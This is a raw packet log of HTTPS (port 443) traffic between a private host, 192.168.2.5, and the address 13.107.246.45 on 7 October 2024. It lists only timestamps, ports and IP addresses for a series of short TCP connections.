Oct 7, 2024 06:44:49.748872995 CEST	443	49922	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.748981953 CEST	443	49922	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.749028921 CEST	49922	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.749113083 CEST	49922	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.749119997 CEST	443	49922	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.749181986 CEST	49922	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.749186039 CEST	443	49922	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.751852989 CEST	49927	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.751893997 CEST	443	49927	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.751980066 CEST	49927	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.752115965 CEST	49927	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.752135038 CEST	443	49927	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.876671076 CEST	443	49923	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.877202034 CEST	49923	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.877209902 CEST	443	49923	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.877820015 CEST	49923	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.877824068 CEST	443	49923	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.899676085 CEST	443	49924	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.900082111 CEST	49924	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.900099039 CEST	443	49924	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.900616884 CEST	49924	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.900623083 CEST	443	49924	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.979129076 CEST	443	49923	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.979192019 CEST	443	49923	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.979235888 CEST	443	49923	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.979248047 CEST	49923	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.979298115 CEST	49923	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.979496956 CEST	49923	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.979510069 CEST	443	49923	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.979518890 CEST	49923	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.979525089 CEST	443	49923	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.982673883 CEST	49928	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.982719898 CEST	443	49928	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.982806921 CEST	49928	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.982974052 CEST	49928	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.982986927 CEST	443	49928	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.997652054 CEST	443	49924	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.997790098 CEST	443	49924	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.997855902 CEST	49924	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.997952938 CEST	49924	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.997975111 CEST	443	49924	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.997988939 CEST	49924	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.997996092 CEST	443	49924	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.000844955 CEST	49929	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.000879049 CEST	443	49929	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.000966072 CEST	49929	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.001188993 CEST	49929	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.001200914 CEST	443	49929	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.080821037 CEST	443	49925	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.081412077 CEST	49925	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.081428051 CEST	443	49925	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.082012892 CEST	49925	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.082024097 CEST	443	49925	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.192009926 CEST	443	49925	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.192234039 CEST	443	49925	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.192275047 CEST	443	49925	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.192315102 CEST	49925	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.192363024 CEST	49925	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.192442894 CEST	49925	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.192482948 CEST	443	49925	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.192512035 CEST	49925	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.192528009 CEST	443	49925	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.195594072 CEST	49930	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.195625067 CEST	443	49930	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.195714951 CEST	49930	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.195872068 CEST	49930	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.195879936 CEST	443	49930	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.361938953 CEST	443	49926	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.362853050 CEST	49926	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.362889051 CEST	443	49926	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.363943100 CEST	49926	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.363955975 CEST	443	49926	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.396704912 CEST	443	49927	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.397222042 CEST	49927	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.397289038 CEST	443	49927	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.397800922 CEST	49927	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.397813082 CEST	443	49927	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.465218067 CEST	443	49926	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.465444088 CEST	443	49926	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.465605021 CEST	49926	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.465662003 CEST	49926	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.465684891 CEST	443	49926	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.465703964 CEST	49926	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.465712070 CEST	443	49926	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.468547106 CEST	49931	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.468585968 CEST	443	49931	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.468651056 CEST	49931	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.468794107 CEST	49931	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.468803883 CEST	443	49931	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.494509935 CEST	443	49927	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.494570017 CEST	443	49927	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.494617939 CEST	49927	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.494790077 CEST	49927	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.494812965 CEST	443	49927	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.494827032 CEST	49927	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.494833946 CEST	443	49927	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.497735977 CEST	49932	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.497771025 CEST	443	49932	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.497850895 CEST	49932	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.498009920 CEST	49932	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.498023987 CEST	443	49932	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.614156008 CEST	443	49928	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.614840984 CEST	49928	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.614865065 CEST	443	49928	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.615370035 CEST	49928	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.615380049 CEST	443	49928	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.650377989 CEST	443	49929	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.671629906 CEST	49929	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.671644926 CEST	443	49929	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.672199011 CEST	49929	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.672204018 CEST	443	49929	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.712120056 CEST	443	49928	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.712152004 CEST	443	49928	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.712207079 CEST	443	49928	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.712342978 CEST	49928	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.712343931 CEST	49928	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.712480068 CEST	49928	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.712491989 CEST	443	49928	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.712527990 CEST	49928	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.712532997 CEST	443	49928	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.715858936 CEST	49933	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.715898991 CEST	443	49933	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.715989113 CEST	49933	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.716156960 CEST	49933	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.716173887 CEST	443	49933	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.770942926 CEST	443	49929	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.771138906 CEST	443	49929	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.771214962 CEST	49929	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.771305084 CEST	49929	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.771321058 CEST	443	49929	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.771330118 CEST	49929	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.771337032 CEST	443	49929	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.774512053 CEST	49934	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.774557114 CEST	443	49934	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.774645090 CEST	49934	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.774812937 CEST	49934	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.774825096 CEST	443	49934	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.830045938 CEST	443	49930	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.830710888 CEST	49930	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.830727100 CEST	443	49930	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.831084967 CEST	49930	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.831090927 CEST	443	49930	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.929070950 CEST	443	49930	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.929141045 CEST	443	49930	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.929200888 CEST	49930	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.929393053 CEST	49930	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.929406881 CEST	443	49930	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.929416895 CEST	49930	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.929423094 CEST	443	49930	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.932537079 CEST	49935	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.932579041 CEST	443	49935	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:50.932637930 CEST	49935	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.932797909 CEST	49935	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:50.932813883 CEST	443	49935	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.101941109 CEST	443	49931	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.102685928 CEST	49931	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.102705002 CEST	443	49931	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.103176117 CEST	49931	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.103179932 CEST	443	49931	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.142127037 CEST	443	49932	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.142601013 CEST	49932	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.142621994 CEST	443	49932	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.143163919 CEST	49932	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.143168926 CEST	443	49932	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.207079887 CEST	443	49931	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.207149982 CEST	443	49931	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.207257986 CEST	443	49931	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.207313061 CEST	49931	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.207516909 CEST	49931	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.207516909 CEST	49931	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.207539082 CEST	49931	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.207554102 CEST	443	49931	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.210768938 CEST	49936	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.210824013 CEST	443	49936	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.210912943 CEST	49936	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.211086988 CEST	49936	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.211106062 CEST	443	49936	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.243319988 CEST	443	49932	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.243510008 CEST	443	49932	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.243581057 CEST	49932	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.243813038 CEST	49932	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.243813038 CEST	49932	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.243833065 CEST	443	49932	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.243843079 CEST	443	49932	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.246527910 CEST	49937	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.246572971 CEST	443	49937	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.246664047 CEST	49937	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.246809006 CEST	49937	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.246826887 CEST	443	49937	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.368470907 CEST	443	49933	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.368994951 CEST	49933	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.369019032 CEST	443	49933	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.369482994 CEST	49933	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.369488955 CEST	443	49933	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.412523985 CEST	443	49934	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.413058043 CEST	49934	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.413089037 CEST	443	49934	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.413635015 CEST	49934	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.413640976 CEST	443	49934	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.469305992 CEST	443	49933	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.469415903 CEST	443	49933	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.469464064 CEST	443	49933	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.469779968 CEST	49933	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.470325947 CEST	49933	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.470345974 CEST	443	49933	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.470355988 CEST	49933	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.470360994 CEST	443	49933	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.473128080 CEST	49938	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.473169088 CEST	443	49938	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.473234892 CEST	49938	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.473359108 CEST	49938	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.473372936 CEST	443	49938	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.511805058 CEST	443	49934	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.511996984 CEST	443	49934	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.512061119 CEST	49934	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.512125015 CEST	49934	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.512144089 CEST	443	49934	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.512156010 CEST	49934	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.512161970 CEST	443	49934	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.514763117 CEST	49939	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.514816999 CEST	443	49939	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.514889002 CEST	49939	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.515124083 CEST	49939	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.515144110 CEST	443	49939	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.581181049 CEST	443	49935	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.581837893 CEST	49935	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.581862926 CEST	443	49935	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.582479954 CEST	49935	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.582485914 CEST	443	49935	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.682375908 CEST	443	49935	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.682446957 CEST	443	49935	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.682703972 CEST	49935	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.697374105 CEST	49935	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.697398901 CEST	443	49935	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.697411060 CEST	49935	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.697417021 CEST	443	49935	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.700395107 CEST	49940	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.700443983 CEST	443	49940	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.700503111 CEST	49940	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.700627089 CEST	49940	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.700648069 CEST	443	49940	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.857887983 CEST	443	49936	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.858530998 CEST	49936	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.858555079 CEST	443	49936	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.858905077 CEST	49936	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.858911037 CEST	443	49936	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.914206982 CEST	443	49937	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.914690018 CEST	49937	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.914705038 CEST	443	49937	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.915163040 CEST	49937	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.915169001 CEST	443	49937	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.955457926 CEST	443	49936	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.955833912 CEST	443	49936	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.956020117 CEST	49936	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.956020117 CEST	49936	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.956020117 CEST	49936	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.958678961 CEST	49941	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.958723068 CEST	443	49941	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:51.958794117 CEST	49941	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.958920956 CEST	49941	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:51.958930016 CEST	443	49941	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.021125078 CEST	443	49937	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.021166086 CEST	443	49937	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.021209955 CEST	443	49937	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.021214962 CEST	49937	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.021265030 CEST	49937	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.029017925 CEST	49937	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.029032946 CEST	443	49937	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.029043913 CEST	49937	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.029051065 CEST	443	49937	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.031804085 CEST	49942	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.031833887 CEST	443	49942	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.031927109 CEST	49942	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.032077074 CEST	49942	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.032089949 CEST	443	49942	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.128197908 CEST	443	49938	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.128717899 CEST	49938	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.128741980 CEST	443	49938	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.129211903 CEST	49938	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.129219055 CEST	443	49938	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.156219006 CEST	443	49939	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.156676054 CEST	49939	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.156724930 CEST	443	49939	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.157200098 CEST	49939	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.157206059 CEST	443	49939	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.228015900 CEST	443	49938	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.228172064 CEST	443	49938	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.228275061 CEST	49938	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.228426933 CEST	49938	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.228441000 CEST	443	49938	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.228451014 CEST	49938	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.228456020 CEST	443	49938	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.231802940 CEST	49943	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.231863022 CEST	443	49943	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.231955051 CEST	49943	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.232137918 CEST	49943	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.232148886 CEST	443	49943	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.257153034 CEST	443	49939	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.257184982 CEST	443	49939	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.257232904 CEST	443	49939	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.257391930 CEST	49939	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.257391930 CEST	49939	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.257508993 CEST	49939	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.257508993 CEST	49939	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.257540941 CEST	443	49939	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.257570028 CEST	443	49939	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.260371923 CEST	49944	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.260401964 CEST	443	49944	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.260488987 CEST	49944	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.260732889 CEST	49944	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.260757923 CEST	443	49944	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.266654968 CEST	49936	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.266670942 CEST	443	49936	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.348577976 CEST	443	49940	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.349229097 CEST	49940	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.349252939 CEST	443	49940	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.349889040 CEST	49940	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.349895954 CEST	443	49940	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.449068069 CEST	443	49940	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.449309111 CEST	443	49940	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.449398994 CEST	49940	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.449529886 CEST	49940	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.449542999 CEST	443	49940	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.449573994 CEST	49940	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.449579000 CEST	443	49940	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.452635050 CEST	49945	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.452663898 CEST	443	49945	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.452739000 CEST	49945	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.452919006 CEST	49945	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.452934980 CEST	443	49945	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.626044035 CEST	443	49941	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.626605034 CEST	49941	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.626621008 CEST	443	49941	13.107.246.45	192.168.2.5
